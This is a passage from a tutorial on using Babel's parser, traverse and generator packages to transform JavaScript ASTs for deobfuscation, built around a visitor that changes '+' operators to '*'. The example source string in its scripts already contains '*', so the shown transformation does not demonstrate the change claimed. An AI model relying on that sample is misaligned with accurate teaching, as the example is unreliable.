class="hljs-string">"interpreter"</span>: <span class="hljs-literal">null</span>,<br> <span class="hljs-string">"body"</span>: [<br> {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"FunctionDeclaration"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">0</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">52</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">0</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">3</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">1</span><br> }<br> },<br> <span class="hljs-string">"id"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"Identifier"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">9</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">18</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">9</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">18</span><br> },<br> <span class="hljs-string">"identifierName"</span>: <span class="hljs-string">"operation"</span><br> },<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"operation"</span><br> },<br> <span class="hljs-string">"generator"</span>: <span class="hljs-literal">false</span>,<br> <span class="hljs-string">"async"</span>: <span class="hljs-literal">false</span>,<br> <span class="hljs-string">"params"</span>: [<br> {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"Identifier"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">19</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">23</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">19</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">23</span><br> },<br> <span class="hljs-string">"identifierName"</span>: <span class="hljs-string">"arg1"</span><br> },<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"arg1"</span><br> },<br> {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"Identifier"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">24</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">28</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">24</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">28</span><br> },<br> <span class="hljs-string">"identifierName"</span>: <span class="hljs-string">"arg2"</span><br> },<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"arg2"</span><br> }<br> ],<br> <span class="hljs-string">"body"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"BlockStatement"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">29</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">52</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">29</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">3</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">1</span><br> }<br> },<br> <span class="hljs-string">"body"</span>: [<br> {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"ReturnStatement"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">32</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">50</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">1</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">19</span><br> }<br> },<br> <span class="hljs-string">"argument"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"BinaryExpression"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">39</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">50</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">8</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">19</span><br> }<br> },<br> <span class="hljs-string">"left"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"Identifier"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">39</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">43</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">8</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">12</span><br> },<br> <span class="hljs-string">"identifierName"</span>: <span class="hljs-string">"arg1"</span><br> },<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"arg1"</span><br> },<br> <span class="hljs-string">"operator"</span>: <span class="hljs-string">"+"</span>,<br> <span class="hljs-string">"right"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"Identifier"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">46</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">50</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">15</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">19</span><br> },<br> <span class="hljs-string">"identifierName"</span>: <span class="hljs-string">"arg2"</span><br> },<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"arg2"</span><br> }<br> }<br> }<br> ],<br> <span class="hljs-string">"directives"</span>: []<br> }<br> },<br> {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"VariableDeclaration"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">54</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">78</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">0</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">24</span><br> }<br> },<br> <span class="hljs-string">"declarations"</span>: [<br> {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"VariableDeclarator"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">58</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">78</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">4</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">24</span><br> }<br> },<br> <span class="hljs-string">"id"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"Identifier"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">58</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">61</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">4</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">7</span><br> },<br> <span class="hljs-string">"identifierName"</span>: <span class="hljs-string">"foo"</span><br> },<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"foo"</span><br> },<br> <span class="hljs-string">"init"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"CallExpression"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">64</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">78</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">10</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">24</span><br> }<br> },<br> <span class="hljs-string">"callee"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"Identifier"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">64</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">73</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">10</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">19</span><br> },<br> <span class="hljs-string">"identifierName"</span>: <span class="hljs-string">"operation"</span><br> },<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"operation"</span><br> },<br> <span class="hljs-string">"arguments"</span>: [<br> {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"NumericLiteral"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">74</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">75</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">20</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">21</span><br> }<br> },<br> <span class="hljs-string">"extra"</span>: {<br> <span class="hljs-string">"rawValue"</span>: <span class="hljs-number">6</span>,<br> <span class="hljs-string">"raw"</span>: <span class="hljs-string">"6"</span><br> },<br> <span class="hljs-string">"value"</span>: <span class="hljs-number">6</span><br> },<br> {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"NumericLiteral"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">76</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">77</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">22</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">23</span><br> }<br> },<br> <span class="hljs-string">"extra"</span>: {<br> <span class="hljs-string">"rawValue"</span>: <span class="hljs-number">8</span>,<br> <span class="hljs-string">"raw"</span>: <span class="hljs-string">"8"</span><br> },<br> <span class="hljs-string">"value"</span>: <span class="hljs-number">8</span><br> }<br> ]<br> }<br> }<br> ],<br> <span class="hljs-string">"kind"</span>: <span class="hljs-string">"let"</span><br> }<br> ],<br> <span class="hljs-string">"directives"</span>: []<br> },<br> <span class="hljs-string">"comments"</span>: []<br>}<br></code></pre></td></tr></table></figure></details><p>We can observe that even for this small little program, the AST representation is incredibly verbose. It’s composed of different types of nodes (<code>FunctionDeclaration</code>s, <code>ExpressionStatement</code>s, <code>Identifier</code>s, <code>CallExpression</code>s, etc.), and many nodes also have a sub node. To transform the AST, we’ll be making use of the Babel traverse package to recursively traverse the tree and modify nodes.</p><h2 id="Phase-2-Coming-Up-With-The-Transformation-Logic-x2F-Pseudo-code"><a href="#Phase-2-Coming-Up-With-The-Transformation-Logic-x2F-Pseudo-code" class="headerlink" title="Phase 2: Coming Up With The Transformation Logic/Pseudo-code"></a>Phase 2: Coming Up With The Transformation Logic/Pseudo-code</h2><p>This isn’t an obfuscated file, but we’ll still write a plugin to demonstrate the traverse package’s functionality.</p><p>Let’s assign ourselves an arbitrary goal of transforming the script to replace all occurrences of arithmetic addition operators (<code>+</code>) with arithmetic multiplication operators (<code>*</code>). That is, the final script should look like this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">operation</span>(<span class="hljs-params">arg1, arg2</span>) {<br> <span class="hljs-keyword">return</span> arg1 * arg2;<br>}<br><br><span class="hljs-keyword">let</span> foo = <span class="hljs-title function_">operation</span>(<span class="hljs-number">6</span>, <span class="hljs-number">8</span>);<br></code></pre></td></tr></table></figure><h3 id="Determining-the-Target-Node-Type-s"><a href="#Determining-the-Target-Node-Type-s" class="headerlink" title="Determining the Target Node Type(s)"></a>Determining the Target Node Type(s)</h3><p>First, we need to determine what our node type(s) of interest are. If we highlight a section of the code, AST explorer will automatically expand that node on the right-hand side. In our case, we want to focus on the <code>arg1 + arg2</code> operation. After highlighting that piece of code, we’ll see this:</p><p><img src="/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/intro2.png" alt="A closer look at the nodes of interest"></p><p>We can see that <code>arg1 + arg2</code> has been parsed into a <code>BinaryExpression</code> node. This node has the following properties:</p><ul><li><code>type</code> stores the node’s type, in this case: <code>BinaryExpression</code></li><li><code>left</code> stores the information for the left side of the expression, in this case: the <code>arg1</code> identifier.</li><li><code>right</code> stores the information for the right side of the expression, in this case: the <code>arg2</code> identifier.</li><li><code>operator</code> stores the operator, in this case: <code>+</code>.</li></ul><p>Our goal is to replace all <code>+</code> operators in the script with a <code>*</code> operator, so it makes sense that our node type of interest is a <code>BinaryExpression</code>.</p><p>Now that we have our target node type, we need to figure out how we’ll transform them</p><h3 id="Transformation-Logic"><a href="#Transformation-Logic" class="headerlink" title="Transformation Logic"></a>Transformation Logic</h3><p>To reiterate: we know that we’re looking for <code>BinaryExpression</code>s. Each <code>BinaryExpression</code> has a property, <code>operator</code>. We want to edit this property to <code>*</code> if it is a <code>+</code>.</p><p>The logical process would therefore look like this:</p><ol><li>Parse the code to generate an AST.</li><li>Traverse the AST in search of <code>BinaryExpression</code>s.</li><li>If one is encountered, check that its operator is currently equal to <code>+</code>. If it isn’t, skip that node.</li><li>If the operator is equal to <code>+</code>, set the operator to <code>*</code>.</li></ol><p>Now that we understand the logic, we can write it as code</p><h2 id="Phase-3-Writing-the-Transformation-Code"><a href="#Phase-3-Writing-the-Transformation-Code" class="headerlink" title="Phase 3: Writing the Transformation Code"></a>Phase 3: Writing the Transformation Code</h2><p>To parse the tree, we will use the <code>@babel/parser</code> package as previously demonstrated. To traverse the generated AST and modify the nodes, we’ll make use of <code>@babel/traverse</code>.</p><p>To target a specific node type during traversal, we’ll use a visitor[<a href="https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md#visitors]">https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md#visitors]</a>.</p><p>From the Babel Plugin Handbook:</p><blockquote><p>Visitors are a pattern used in AST traversal across languages. Simply put they are an object with methods defined for accepting particular node types in a tree.</p></blockquote><p>To target nodes of type <code>BinaryExpression</code>, our visitor would like like this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> changeOperatorVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-comment">// transformations here ...</span><br> },<br>};<br></code></pre></td></tr></table></figure><p>Now, every time a <code>BinaryExpression</code> is encountered, the <code>BinaryExpression(path)</code> method will be called.</p><p>Inside the <code>BinaryExpression(path)</code> method of our visitor, we can add code for any checks and transformations.</p><p>Each visitor method takes in a parameter, <code>path</code>, which holds the path to the node being visited. To access the actual properties of the node, we must use <code>path.node</code>.</p><p>Our first step in our transformation would be to check that the <code>operator</code> property of the node is a <code>+</code>. We can do that like this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> changeOperatorVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-keyword">if</span> (path.<span class="hljs-property">node</span>.<span class="hljs-property">operator</span> == <span class="hljs-string">"+"</span>) {<br> <span class="hljs-comment">// continue with transformations...</span><br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip the node</span><br> }<br> },<br>};<br></code></pre></td></tr></table></figure><p>If it is a <code>+</code>, we can set it to <code>*</code>.</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> changeOperatorVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-comment">// Check if operator is +</span><br> <span class="hljs-keyword">if</span> (path.<span class="hljs-property">node</span>.<span class="hljs-property">operator</span> == <span class="hljs-string">"+"</span>) {<br> <span class="hljs-comment">// Set operator as *</span><br> path.<span class="hljs-property">node</span>.<span class="hljs-property">operator</span> = <span class="hljs-string">"*"</span>;<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip the node</span><br> }<br> },<br>};<br></code></pre></td></tr></table></figure><p>And our visitor is complete! Now we just need to call it on the generated AST. But first, let’s generate the AST:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> types = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-comment">// Set the source code</span><br><span class="hljs-keyword">const</span> code = <span class="hljs-string">`</span><br><span class="hljs-string">function operation(arg1, arg2) {</span><br><span class="hljs-string"> return arg1 * arg2;</span><br><span class="hljs-string">}</span><br><span class="hljs-string">let foo = operation(6, 8);</span><br><span class="hljs-string">`</span>;<br><span class="hljs-comment">// Parse the source code into an AST</span><br><span class="hljs-keyword">let</span> ast = parser.<span class="hljs-title function_">parse</span>(code);<br></code></pre></td></tr></table></figure><p>After that, we can paste our visitor into the source code. To traverse the AST using the visitor, we’ll use the <code>traverse</code> method from the <code>@babel/traverse</code> package. That would look like this:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> types = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-comment">// Set the source code</span><br><span class="hljs-keyword">const</span> code = <span class="hljs-string">`</span><br><span class="hljs-string">function operation(arg1, arg2) {</span><br><span class="hljs-string"> return arg1 * arg2;</span><br><span class="hljs-string">}</span><br><span class="hljs-string">let foo = operation(6, 8);</span><br><span class="hljs-string">`</span>;<br><span class="hljs-comment">// Parse the source code into an AST</span><br><span class="hljs-keyword">let</span> ast = parser.<span class="hljs-title function_">parse</span>(code);<br><br><span class="hljs-comment">// Visitor for modifying operator of BinaryExpression</span><br><span class="hljs-keyword">const</span> changeOperatorVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-comment">// Check if operator is +</span><br> <span class="hljs-keyword">if</span> (path.<span class="hljs-property">node</span>.<span class="hljs-property">operator</span> == <span class="hljs-string">"+"</span>) {<br> <span class="hljs-comment">// Set operator as *</span><br> path.<span class="hljs-property">node</span>.<span class="hljs-property">operator</span> = <span class="hljs-string">"*"</span>;<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip the node</span><br> }<br> },<br>};<br><br><span class="hljs-title function_">traverse</span>(ast, changeOperatorVisitor);<br></code></pre></td></tr></table></figure><p>Finally, we’ll use the <code>generate</code> method from the <code>@babel/generator</code> package to generate the final code from the modified AST. We can also output the resulting code to a file, but I’ll just log it to the console for simplicity.</p><p>So, our final transformation script looks like this:</p><h2 id="Babel-Transformation-Script"><a href="#Babel-Transformation-Script" class="headerlink" title="Babel Transformation Script"></a>Babel Transformation Script</h2><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> types = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-comment">// Set the source code</span><br><span class="hljs-keyword">const</span> code = <span class="hljs-string">`</span><br><span class="hljs-string">function operation(arg1, arg2) {</span><br><span class="hljs-string"> return arg1 * arg2;</span><br><span class="hljs-string">}</span><br><span class="hljs-string">let foo = operation(6, 8);</span><br><span class="hljs-string">`</span>;<br><span class="hljs-comment">// Parse the source code into an AST</span><br><span class="hljs-keyword">let</span> ast = parser.<span class="hljs-title function_">parse</span>(code);<br><br><span class="hljs-comment">// Visitor for modifying operator of BinaryExpression</span><br><span class="hljs-keyword">const</span> changeOperatorVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-comment">// Check if operator is +</span><br> <span class="hljs-keyword">if</span> (path.<span class="hljs-property">node</span>.<span class="hljs-property">operator</span> == <span class="hljs-string">"+"</span>) {<br> <span class="hljs-comment">// Set operator as *</span><br> path.<span class="hljs-property">node</span>.<span class="hljs-property">operator</span> = <span class="hljs-string">"*"</span>;<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip the node</span><br> }<br> },<br>};<br><br><span class="hljs-title function_">traverse</span>(ast, changeOperatorVisitor);<br><br><span class="hljs-keyword">let</span> finalCode = <span class="hljs-title function_">generate</span>(ast).<span class="hljs-property">code</span>;<br><br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(finalCode);<br></code></pre></td></tr></table></figure><p>This will output the following to the console:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">operation</span>(<span class="hljs-params">arg1, arg2</span>) {<br> <span class="hljs-keyword">return</span> arg1 * arg2;<br>}<br><br><span class="hljs-keyword">let</span> foo = <span class="hljs-title function_">operation</span>(<span class="hljs-number">6</span>, <span class="hljs-number">8</span>);<br></code></pre></td></tr></table></figure><p>And we can see that the code has been successfully transformed to replace <code>+</code> operators with <code>*</code> operators!</p><h1 id="Why-use-Babel-for-Deobfuscation"><a href="#Why-use-Babel-for-Deobfuscation" class="headerlink" title="Why use Babel for Deobfuscation?"></a>Why use Babel for Deobfuscation?</h1><p>So, why should we use Babel as a deobfuscation tool as opposed to other static analysis tools like Regex?</p><p>Here are a few reasons:</p><ol><li><p><strong>Ast is less error-prone.</strong></p><ul><li>For large chunks of code, writing transformations can become incredibly tedious due to the edge cases. For example, it’s difficult to account for the scope and state of variables when using regex. For example, two different variables can share the same name if they’re in different scopes:</li></ul></li></ol><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">//Scope 1:</span><br>{<br> <span class="hljs-keyword">let</span> foo = <span class="hljs-number">123</span>;<br> {<br> <span class="hljs-keyword">let</span> foo = <span class="hljs-number">321</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(foo);<br> }<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(foo);<br>}<br></code></pre></td></tr></table></figure><p>Eventually, regular expressions will become very convoluted when you have to account for edge cases; whether it be scope or tiny variations in syntax. Babel doesn’t have this problem, as you can use built-in functionality to make transformations with respect to scope and state.</p><ol start="2"><li><p><strong>The Babel API has a lot of useful features.</strong></p><p>Here are a few useful things you can do with the built-in Babel API:</p><ul><li>Easily target certain nodes</li><li>Handle scope when renaming/replacing variables</li><li>Easily get initial values and references of variables</li><li>Node validation, generation, cloning, replacement, removal</li><li>Find paths to ancestor and descendant nodes based on test conditions</li><li>Containers/Lists: Check if a node is in a container/list, and get all of its siblings</li></ul></li><li><p><strong>Good for static and dynamic analysis</strong></p><ul><li>Inherently, parsing the code into an AST and applying transformations will not execute the code. But Babel also has 